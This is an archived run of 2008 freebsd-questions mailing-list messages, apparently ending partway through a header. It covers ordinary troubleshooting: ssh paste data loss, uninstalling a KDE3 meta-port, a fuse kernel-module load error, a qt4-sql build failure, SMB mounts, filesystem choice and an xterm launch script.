List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 10:11:59 -0000 01.12.2008, =D7 15:52, Mel =CE=C1=D0=C9=D3=C1=CC(=C1): >> Can't check telnet... there's no telnet demon around. > > inetd: > $ grep telnet /etc/inetd.conf > #telnet stream tcp nowait root /usr/libexec/telnetd =20 > telnetd > #telnet stream tcp6 nowait root /usr/libexec/telnetd =20 > telnetd > > Quick setup: > remove appropreate hashmark above > /etc/rc.d/inetd onestart It works :( All 6060 bytes are saved. > > >> I tried ssh -vvv, nothing between connect and disconnect. >> >> It's definitely not an EOF. It just loses some part of data, doesn't >> stop receiving after some point. > > Where does it get lost? Meaning, does it get over the wire? Hard to =20= > check > encrypted, but a 3k diff should show up in number of the IP packets =20= > sent. Is > it possible to compare tcpdump linux <-> linux vs linux <-> freebsd =20= > on the > receiving end? I'm on Mac OS X, so tcpdumps: I to freebsd http://pastie.org/327953.txt?key=3Dzaehiz6bxcxs3rjuyfbtyq= freebsd to me http://pastie.org/327954.txt?key=3Dautckpywar1mkngb9re0w I to linux = http://pastie.org/327955.txt?key=3Dklqvsd73l3flhayoykeeq linux to me http://pastie.org/327952.txt?key=3Duu1cpgleuhnctwcuqzxlw However, I'm not sure it's helpful. I mean you can't look inside a =20 packet, because it was encrypted. Headers and packet size depends on =20 many factors. For example, if you compare linux and freebsd tcpdumps =20 here, you'll see that freebsd ignore packet's checksums and linux has =20= tcp timestamps turned off, and so on. > > > --=20 > Mel > > Problem with today's modular software: they start with the modules > and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 10:13:25 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D02751065670 for ; Wed, 3 Dec 2008 10:13:25 +0000 (UTC) (envelope-from leslie@eskk.nu) Received: from hawk.thalamus.net (hawk.thalamus.net [212.31.160.3]) by mx1.freebsd.org (Postfix) with ESMTP id 8BB838FC1D for ; Wed, 3 Dec 2008 10:13:25 +0000 (UTC) (envelope-from leslie@eskk.nu) Received: from localhost (localhost.thalamus.net [127.0.0.1]) by hawk.thalamus.net (Postfix) with ESMTP id 2D2DD1EE88A for ; Wed, 3 Dec 2008 11:13:19 +0100 (CET) X-Virus-Scanned: by amavisd-new at thalamus.net X-Spam-Flag: NO X-Spam-Score: 2.44 X-Spam-Level: ** X-Spam-Status: No, score=2.44 tagged_above=-999 required=4.2 tests=[AWL=-0.729, HELO_LH_HOME=3.169] Received: from hawk.thalamus.net ([127.0.0.1]) by localhost (hawk.thalamus.net [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 9vogouecWtWZ for ; Wed, 3 Dec 2008 11:13:06 +0100 (CET) Received: from lesbsdpc.homenet.home (c-195-216-040-164.static.bjare.net [195.216.40.164]) by hawk.thalamus.net (Postfix) with ESMTP id D76A91EE8A4 for ; Wed, 3 Dec 2008 11:12:13 +0100 (CET) Message-ID: <49365B82.4070208@eskk.nu> Date: Wed, 03 Dec 2008 11:12:18 +0100 From: Leslie Jensen User-Agent: Thunderbird 2.0.0.18 (X11/20081125) MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <4934E5DA.6040308@eskk.nu> <200812021335.42120.fbsd.questions@rachie.is-a-geek.net> <49365830.7040702@eskk.nu> In-Reply-To: <49365830.7040702@eskk.nu> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Re: Uninstalling kde3 meta-port X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 10:13:25 -0000 Leslie Jensen skrev: > > > Mel skrev: >> On Tuesday 02 December 2008 08:38:02 Leslie Jensen wrote: >> >>> How would you guys uninstall a meta-port? >>> >>> I'm considering a move to kde4 but I want a clean install, so I want to >>> remove the kde3 meta-port first. >> >> cd /usr/ports/x11/kde3 >> for dep in `make -V RUN_DEPENDS`; do origin=${dep##*:}; >> portname=`make -C ${origin} -V PORTNAME`; >> pkg_delete -Xf "^${portname}-[0-9\.,_]+\$"; >> done >> cd /usr/ports/ports-mgmt/pkg_cutleaves >> make install >> pkg_cutleaves -xg >> >> Delete all leaves you are sure you don't need anymore, till no leaves >> are left. > > Thanks Mel > > I did a > > root@bsdpc/usr/ports/x11/kde3:make PORTNAME > make: don't know how to make PORTNAME. Stop > > How do I solve the error? > > /Leslie > > Problem solved Answering my own question. I forgot the -V. From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 11:17:21 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D4F001065670 for ; Wed, 3 Dec 2008 11:17:21 +0000 (UTC) (envelope-from swhetzel@gmail.com) Received: from yw-out-2324.google.com (yw-out-2324.google.com [74.125.46.31]) by mx1.freebsd.org (Postfix) with ESMTP id 8C5308FC13 for ; Wed, 3 Dec 2008 11:17:21 +0000 (UTC) (envelope-from swhetzel@gmail.com) Received: by yw-out-2324.google.com with SMTP id 9so1430160ywe.13 for ; Wed, 03 Dec 2008 03:17:20 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=LbuaHaywnbGjeLhuRzJ355ffMCyoPM25NDZnkFAgjNY=; b=GWnyVjbTvNEmy97mVwSkRN32hZdDTyTigjPHmsl0xzXSh902H6GsC7otT/P9rYSqqz 4AY7l93j3rrrzc36QwcDi2siZi2Z2gXlqRylYVW9PvsNyEO0LyzonCKyEAZ+OtodGdU5 Ln8C/obKUM/J04ZfivRi4c6+T/TQ2ZB3k5xuA= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=yFpxgVulPntnGuFStyjB1ZLACw7TWPjMeYpdGkzttgMrlCsfFhIkifn8uG/gk+qYV9 ny4viMqzsr3Xq+Hq3g5UCXTayuoTBYEn72A8cPp1l3T8hi+rDb6OwYOl2Jlvc6i7vIO7 OCsIFnz818xXpqfj6v6vsNSoLpA88Efy336M8= Received: by 10.90.113.17 with SMTP id l17mr7233676agc.40.1228303040847; Wed, 03 Dec 2008 03:17:20 -0800 (PST) Received: by 10.90.101.20 with HTTP; Wed, 3 Dec 2008 03:17:20 -0800 (PST) Message-ID: <790a9fff0812030317t579bb5c9kd950703f0a3ec976@mail.gmail.com> Date: Wed, 3 Dec 2008 05:17:20 -0600 From: "Scot Hetzel" To: dino_vliet@yahoo.com In-Reply-To: <255166.65897.qm@web51106.mail.re2.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <255166.65897.qm@web51106.mail.re2.yahoo.com> Cc: freebsd-ports@freebsd.org, freebsd-questions@freebsd.org, alepulver@freebsd.org Subject: Re: kldload: can't load /usr/local/modules/fuse.ko: Exec format error & fusefs-ntfs-1.253 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 11:17:21 -0000 On 12/3/08, Dino Vliet wrote: > Hi people, > > I can't use my maxtor basic 640gb external harddrive on Freebsd amd64 running 7.0 because when I try to load fusefs with this command, kldload /usr/local/modules/fuse.ko I get the following error: > > kldload: can't load /usr/local/modules/fuse.ko: Exec format error > > Adding fusefs_enable="YES" to /etc/rc.conf and fuse_load="YES" to /boot/loader.conf and rebooting doesn't help either, because then that error message is printed on the console. > > uname -a gives: > FreeBSD zouk.telfort.nl 7.0-RELEASE-p6 FreeBSD 7.0-RELEASE-p6 #1: Thu Nov 27 13:42:17 CET 2008 rgilaard@zouk.telfort.nl:/usr/obj/usr/src/sys/GENERIC amd64 > > pkg_info | grep fuse gives: > > fusefs-kmod-0.3.9.p1.20080208_4 Kernel module for fuse > fusefs-libs-2.7.3 FUSE allows filesystem implementation in userspace > fusefs-ntfs-1.2531 Mount NTFS partitions (read/write) and disk images > > Does anyone have a clue as to what is causing this behavior? How did you install the fusefs-kmod was it from a package or did you build it through the ports system? The most likely cause of this error is due to the fuse.ko module was not built against the same source as your kernel. Rebuild fusefs-kmod and that should resolve the problem. Scot From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 11:21:47 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0F9471065679 for ; Wed, 3 Dec 2008 11:21:47 +0000 (UTC) (envelope-from swhetzel@gmail.com) Received: from yw-out-2324.google.com (yw-out-2324.google.com [74.125.46.31]) by mx1.freebsd.org (Postfix) with ESMTP id BA9DE8FC0A for ; Wed, 3 Dec 2008 11:21:46 +0000 (UTC) (envelope-from swhetzel@gmail.com) Received: by yw-out-2324.google.com with SMTP id 9so1430757ywe.13 for ; Wed, 03 Dec 2008 03:21:46 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=Ts35n7M9I9vkwfte5N96SJGYeUsGJ0xxafa3aSdqMj0=; b=ra2qRQGZQbl6BYDeUvtGT1eMxkc05kNwKaVYH15Uccp0nfqC29wkVIkxC4NwduCYo8 3zvG2pw03CFXJ17wawbgtxU9oLbmRU6546G7gsHpRezdy2kEzayyoQLPREBSmVxC1nx4 JDT4iWFaD0hguxHofc4QPiOUiw+Er5H228Kko= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=c3g3VGePOL3gThSCl3rTGRJN4S2HS+Dh+J31BT+PyxnWjDbRDPSxfEEIpWUGhn5EKi zR4SzhvI4dqCNJVtPNMio18g+VgyWY0l6zicwO1emm6UQUy83KjC1DJE+lItRaDA/nnQ sYMZnk+kdW6puXQmE7RCQtexwNqMAqMsoLaf0= Received: by 10.90.74.7 with SMTP id w7mr4670355aga.11.1228303306111; Wed, 03 Dec 2008 03:21:46 -0800 (PST) Received: by 10.90.101.20 with HTTP; Wed, 3 Dec 2008 03:21:45 -0800 (PST) Message-ID: <790a9fff0812030321w4fcb000ew850d7c1a289a0365@mail.gmail.com> Date: Wed, 3 Dec 2008 05:21:45 -0600 From: "Scot Hetzel" To: dino_vliet@yahoo.com In-Reply-To: <790a9fff0812030317t579bb5c9kd950703f0a3ec976@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <255166.65897.qm@web51106.mail.re2.yahoo.com> <790a9fff0812030317t579bb5c9kd950703f0a3ec976@mail.gmail.com> Cc: freebsd-ports@freebsd.org, freebsd-questions@freebsd.org, alepulver@freebsd.org Subject: Re: kldload: can't load /usr/local/modules/fuse.ko: Exec format error & fusefs-ntfs-1.253 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 11:21:47 -0000 On 12/3/08, Scot Hetzel wrote: > On 12/3/08, Dino Vliet wrote: > > Hi people, > > > > I can't use my maxtor basic 640gb external harddrive on Freebsd amd64 running 7.0 because when I try to load fusefs with this command, kldload /usr/local/modules/fuse.ko I get the following error: > > > > kldload: can't load /usr/local/modules/fuse.ko: Exec format error > > : > > > > Does anyone have a clue as to what is causing this behavior? > > > How did you install the fusefs-kmod was it from a package or did you > build it through the ports system? > > The most likely cause of this error is due to the fuse.ko module was > not built against the same source as your kernel. Rebuild fusefs-kmod > and that should resolve the problem. > I usually see this problem after cvs updating the FreeBSD sources and then rebuilding a module, and trying to load that module. Rebuilding the kernel and all external modules should resolve the problem. Scot From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 11:38:16 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5B7241065677; Wed, 3 Dec 2008 11:38:16 +0000 (UTC) (envelope-from shinjii@maydias.com) Received: from pecan2.exetel.com.au (pecan2.exetel.com.au [220.233.0.70]) by mx1.freebsd.org (Postfix) with ESMTP id 235CA8FC29; Wed, 3 Dec 2008 11:38:16 +0000 (UTC) (envelope-from shinjii@maydias.com) Received: from 196.43.96.58.exetel.com.au ([58.96.43.196] helo=enterprise.blackthorn.nu) by pecan2.exetel.com.au with esmtp (Exim 4.68) (envelope-from ) id 1L7q3a-00054C-3p; Wed, 03 Dec 2008 22:38:14 +1100 Message-ID: <49366FD6.7000201@maydias.com> Date: Wed, 03 Dec 2008 21:39:02 +1000 From: Warren Liddell User-Agent: Thunderbird 2.0.0.17 (X11/20081016) MIME-Version: 1.0 To: kde@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Urgent assistance with Building Qt4-sql X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 11:38:16 -0000 Just updated my ports via csup and i need qt4-sql installed as a dependency for KDE4.1.3, but it refuses to let me compile it with the following error reguardless if i use the little-endian or big-endian trigger, the result is the same... ====================================================== The target system byte order could not be detected! Turn on verbose messaging (-v) to see the final report. You can use the -little-endian or -big-endian switch to ./configure to continue. ===> Script "configure" failed unexpectedly. Please report the problem to kde@FreeBSD.org [maintainer] and attach the "/usr/ports/databases/qt4-sql/work/qt-x11-opensource-src-4.4.1/src/sql/../..//config.log" including the output of the failure of your make command. Also, it might be a good idea to provide an overview of all packages installed on your system (e.g. an `ls /var/db/pkg`). *** Error code 1 Stop in /usr/ports/databases/qt4-sql. ** Command failed [exit code 1]: /usr/bin/script -qa /tmp/portinstall.13456.0 env make ** Fix the problem and try again. ** Listing the failed packages (-:ignored / *:skipped / !:failed) ! databases/qt4-sql (unknown build error) From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 11:44:53 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2E3A3106564A for ; Wed, 3 Dec 2008 11:44:53 +0000 (UTC) (envelope-from michael.copeland@gmail.com) Received: from qw-out-2122.google.com (qw-out-2122.google.com [74.125.92.27]) by mx1.freebsd.org (Postfix) with ESMTP id CE9C78FC16 for ; Wed, 3 Dec 2008 11:44:52 +0000 (UTC) (envelope-from michael.copeland@gmail.com) Received: by qw-out-2122.google.com with SMTP id 9so826647qwb.7 for ; Wed, 03 Dec 2008 03:44:51 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from :user-agent:mime-version:to:cc:subject:references:in-reply-to :content-type; bh=OTDXnmnt+1CyrZOng9PBdLGOFrYzLSpEzv1Vfsu5Cr4=; b=vU4PfpcEnvsi206Hdut0ZB+tgM1V/JoiZnLy+hUz3O5hG+R9UEne0Imo07IvXmpJZo lxL8TigbBsfgO7GgyCbb95j7CfMRPiV7dOnSuMsbKAs+aHd/cjgzXI8M5gJHiscFQmsj VXTKRBZSN4+hOhQ5C94Bjgc0pcS5vKYbedOLQ= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type; b=jwsiGS4/YBoiKz0h7a9uy3cNB9Jjkz1xjD4Ftfp1JLK3DXJ2wPxR8LcFNyKVR6BxDH 51jfCZkM/+ecgDukqfv0zw6RZsqljBw/z2swE6IHGuMMyWif1oaMmUz4/eEzERuJ59V3 ok24erfb8lzyc86yq/aS8Zlg5U/xVn3XsjyT0= Received: by 10.214.216.9 with SMTP id o9mr13107235qag.202.1228304691727; Wed, 03 Dec 2008 03:44:51 -0800 (PST) Received: from ?192.168.1.148? (adsl-074-245-053-043.sip.jax.bellsouth.net [74.245.53.43]) by mx.google.com with ESMTPS id 6sm4315294ywi.58.2008.12.03.03.44.49 (version=TLSv1/SSLv3 cipher=RC4-MD5); Wed, 03 Dec 2008 03:44:49 -0800 (PST) Message-ID: <49367132.50506@gmail.com> Date: Wed, 03 Dec 2008 06:44:50 -0500 From: michael User-Agent: Thunderbird 2.0.0.17 (X11/20080925) MIME-Version: 1.0 To: Bruce Cran References: <20081121211828.GA9493@kokopelli.hydra> <20081202162808.GA5851@kokopelli.hydra> <493586D3.6040703@gmail.com> <20081202203207.514033ee@tau> In-Reply-To: <20081202203207.514033ee@tau> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: FreeBSD and hardware?? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 11:44:53 -0000 Bruce Cran wrote: > On Tue, 02 Dec 2008 14:04:51 -0500 > michael wrote: > >> Bob McConnell wrote: >> >>> 2. Do an SMB mount of remote directories onto the desktop or your >>> home directory. Open any application and access files in that >>> directory as easily as when they are on the local drive. >>> > [...] > >> also, my vlc sees any mounted drive or directory, no matter the >> protocol. so does mplayer, etc. i don't know why your system doesn't >> operate correctly, but i don't have that issue at all. >> e,g: >> /mnt/Azureus Downloads >> this mount is mounted over samba from a computer on the other side of >> the house, and i see everything on it and play my files over the >> network. >> > > But it doesn't work if you use "Places -> Connect to Server" - the share > appears on the Desktop as though it's mounted, but you have to realise > that it's actually a GVFS mount, not a kernel-level mount. So only > Gnome applications which know about GVFS are able to see the files. > yeah.. i don't use that. mine are mounted with smbfs. From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 10:17:52 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B8D151065672 for ; Wed, 3 Dec 2008 10:17:52 +0000 (UTC) (envelope-from libc.mail@gmail.com) Received: from yw-out-2122.google.com (yw-out-2122.google.com [74.125.46.26]) by mx1.freebsd.org (Postfix) with ESMTP id 7A68F8FC18 for ; Wed, 3 Dec 2008 10:17:52 +0000 (UTC) (envelope-from libc.mail@gmail.com) Received: by yw-out-2122.google.com with SMTP id 7so1468500ywi.13 for ; Wed, 03 Dec 2008 02:17:51 -0800 (PST) MIME-Version: 1.0 Received: by 10.150.215.16 with SMTP id n16mr463413ybg.17.1228299471756; Wed, 03 Dec 2008 02:17:51 -0800 (PST) Date: Wed, 3 Dec 2008 02:17:51 -0800 (PST) In-Reply-To: X-IP: 85.140.90.144 References: <7A98FEF9-AA2E-4860-A1BD-A15BD9CACA34@hughes.net> User-Agent: G2/1.0 X-HTTP-UserAgent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; ru-ru) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1, gzip(gfe), gzip(gfe) Message-ID: From: Eugene Pimenov To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=KOI8-R Content-Transfer-Encoding: quoted-printable X-Mailman-Approved-At: Wed, 03 Dec 2008 12:27:14 +0000 Subject: Re: Pasting via ssh causes data loss X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 10:17:52 -0000 Didn't found on lists.freebsd.org, so I resend it On 1 =C4=C5=CB, 05:03, Chris wrote: > I was curious about your situation and set up a couple of tests. Noting > you mentioned iTerm, I thought I might be able to recreate it on a Mac > (OS-X 10.4 with 1.4.3 (100) version Terminal, I had removed iTerm due > to unreliability sometime back). I've downloaded iTerm for this test. I'm using Apple's Terminal.app. > I copied a 23094 byte program I was working on locally in MacVIM. I > first did > a cat >testfile then pasted through an ssh terminal.app connection > over satellite (very > bad connection) into a FreeBSD 7.0 box I built in the last month. At > the far end it received 23094 bytes. sftp of the file to the remote and > diff showed no differences. I then opened an ssh session to a FreeBSD > server > on my local lan and repeated with the same results. No problems. I believe that FreeBSD fetches all data. When I ssh back to my mac from FreeBSD, I recieve all data all the time. TCP should handle errors, so nothing surprising here. > The problem does not appear to be obvious or common so there must be > something > unique about how this situation if you have reproduced it on two > different terminal programs using ssh that would work correctly to other > servers using the same shell and collection method (e.g. cat >blah). I tried zsh, sh, bash and my program on the freebsd box. > Something missing here. Have you checked if you have > errors shown on the interface of the server? Are there losses if you > sftp > the files from your machine to the remote (Try pushing a 1.5 MB file and > see if that shows failures). Did you install something other than the > default > OpenSSH on the server? Do the text files have something other than text > in them or even control sequences for the remote? Just taking > potshots here. sftp doesn't lose data. Even cat file | ssh host 'cat >file' doesn't. Only pasting. It's 100% reproducible, I don't think it's some kind of side effect. $ netstat -I bge0 Name =9A =9AMtu Network =9A =9A =9A Address =9A =9A =9A =9A =9A =9A =9AIpkt= s Ierrs =9A =9AOpkts Oerrs =9AColl bge0 =9A 1500 =9A =9A =9A00:a0:d1:e3:fd:9c 55134708 =9A =9A 0 4885= 8321 =9A =9A 0 =9A =9A 0 (no errors) Terminal sessions:http://pastie.org/327615.txt? key=3Dopkxhrjptnh3lebyn8rjlqhttp://pastie.org/327617.txt? key=3Dgaznt1zmfi7usps74n2h5w I believe nothing strange was installed on the server... it's a typical freebsd web-server. > A somewhat side note here, I would personally never think to move > files this > way since it's quite possible that content of files can disrupt the > stream. > I tend to use sftp. I never do that for binary files. I use sftp either. However, when I need to change some source on a server, I already have an opened text editor with the file and a terminal, in that case cat >file is just quickier. BTW, thank you for your help, guys... From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 12:46:37 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4D1AA1065676 for ; Wed, 3 Dec 2008 12:46:37 +0000 (UTC) (envelope-from patfbsd@davenulle.org) Received: from smtp.lamaiziere.net (net.lamaiziere.net [91.121.44.19]) by mx1.freebsd.org (Postfix) with ESMTP id 121D88FC0C for ; Wed, 3 Dec 2008 12:46:36 +0000 (UTC) (envelope-from patfbsd@davenulle.org) Received: from baby-jane.lamaiziere.net (246.10.87-79.rev.gaoland.net [79.87.10.246]) by smtp.lamaiziere.net (Postfix) with ESMTPA id 7C3C0633676; Wed, 3 Dec 2008 13:46:35 +0100 (CET) Received: from baby-jane (localhost [127.0.0.1]) by baby-jane.lamaiziere.net (Postfix) with ESMTP id 6BC3166DDA9; Wed, 3 Dec 2008 13:46:34 +0100 (CET) Date: Wed, 3 Dec 2008 13:46:33 +0100 From: Patrick =?ISO-8859-15?Q?Lamaizi=E8re?= To: "Don O'Neil" Message-ID: <20081203134633.57adc024@baby-jane> In-Reply-To: References: Organization: /dave/nulle X-Mailer: Claws Mail 3.3.1 (GTK+ 2.12.9; i386-apple-darwin9.3.0) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: 8bit Cc: freebsd-questions@freebsd.org Subject: Re: Best Journaling File System - ZFS/??? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 12:46:37 -0000 Le Tue, 2 Dec 2008 08:57:58 -0800, "Don O'Neil" a écrit : > With all the discussions of ZFS lately, I'm beginning to wonder if > it's really ready for a production environment. Concerns over memory > utilization, speed, stability, etc... > > So, my question is this... If you were building a brand new 6.3/7.0 > server with decent performance (dual core, 32 Bit OS - because of > known compatibility issues with specific software, 4 GB RAM, etc...) > what file system would you choose? What options are out there besides > UFS and ZFS? What FS's are least likely to have corruption issues > when there are power hits? May be UFS + gjournal. I use gjournal since FreeBSD 7.0 and it seems to work fine. Regards. From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 13:36:23 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 930BC1065672 for ; Wed, 3 Dec 2008 13:36:23 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx01.qsc.de (mx01.qsc.de [213.148.129.14]) by mx1.freebsd.org (Postfix) with ESMTP id 532C08FC13 for ; Wed, 3 Dec 2008 13:36:23 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from r55.edvax.de (port-92-196-24-200.dynamic.qsc.de [92.196.24.200]) by mx01.qsc.de (Postfix) with ESMTP id A1A093E964; Wed, 3 Dec 2008 14:36:18 +0100 (CET) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id mB3DaEKs001579; Wed, 3 Dec 2008 14:36:14 +0100 (CET) (envelope-from freebsd@edvax.de) Date: Wed, 3 Dec 2008 14:36:14 +0100 From: Polytropon To: "Aggelidis Nikos" Message-Id: <20081203143614.bd0ef0cc.freebsd@edvax.de> In-Reply-To: <30fc78250812022358v1970b4f6x6a1d6b3c9ca8f0c8@mail.gmail.com> References: <30fc78250812020007h22ab0dc4if044e46b4f36b00c@mail.gmail.com> <20081202093544.a5cb8a21.freebsd@edvax.de> <30fc78250812022358v1970b4f6x6a1d6b3c9ca8f0c8@mail.gmail.com> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: freebsd-questions@freebsd.org Subject: Re: open multiple xterms with script X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 13:36:23 -0000 On Wed, 3 Dec 2008 09:58:52 +0200, "Aggelidis Nikos" wrote: > some additional questions: >=20 > 1) is there any way to give the root password once? i tried this: > #!/bin/sh >=20 > su root -c "\ > xterm -geometry 80x25 -title 'App 1' -e 'app1' & > xterm -geometry 80x25 -title 'App 2' -e 'app2'\ > " >=20 > but i get this: > xterm Xt error: Can't open display: %s Exactly. When you su root, $DISPLAY is not set, so you would have to set it first, maybe like this: #!/bin/sh su root -c "\ export DISPLAY=3D:0.0; \ xterm -geometry 80x25 -title 'App 1' -e 'app1' & xterm -geometry 80x25 -title 'App 2' -e 'app2' \ " > 2) > Is there any way to > instruct xterm not to close after the execution of the program? You could do this: xterm -geometry 80x25 -title 'App 1' -e 'app1 ; csh' & which would start your prefered dialog shell when "app1" has finished. The dialog shell would run even if "app" fails (that=C4s why I suggest using ; instead of &&). > So basically the idea is open 4 terminals, execute a specific command > inside them but if the command finishes or stops, the terminal stays > {with a new prompt}. This sould be able to be achieved using the example above. --=20 Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 13:58:09 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 109551065675 for ; Wed, 3 Dec 2008 13:58:09 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 45E078FC1C for ; Wed, 3 Dec 2008 13:58:07 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB3DvwGF047208; Wed, 3 Dec 2008 14:57:58 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB3DvwHX047205; Wed, 3 Dec 2008 14:57:58 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Wed, 3 Dec 2008 14:57:58 +0100 (CET) From: Wojciech Puchar To: Patrick =?ISO-8859-15?Q?Lamaizi=E8re?= In-Reply-To: <20081203134633.57adc024@baby-jane> Message-ID: 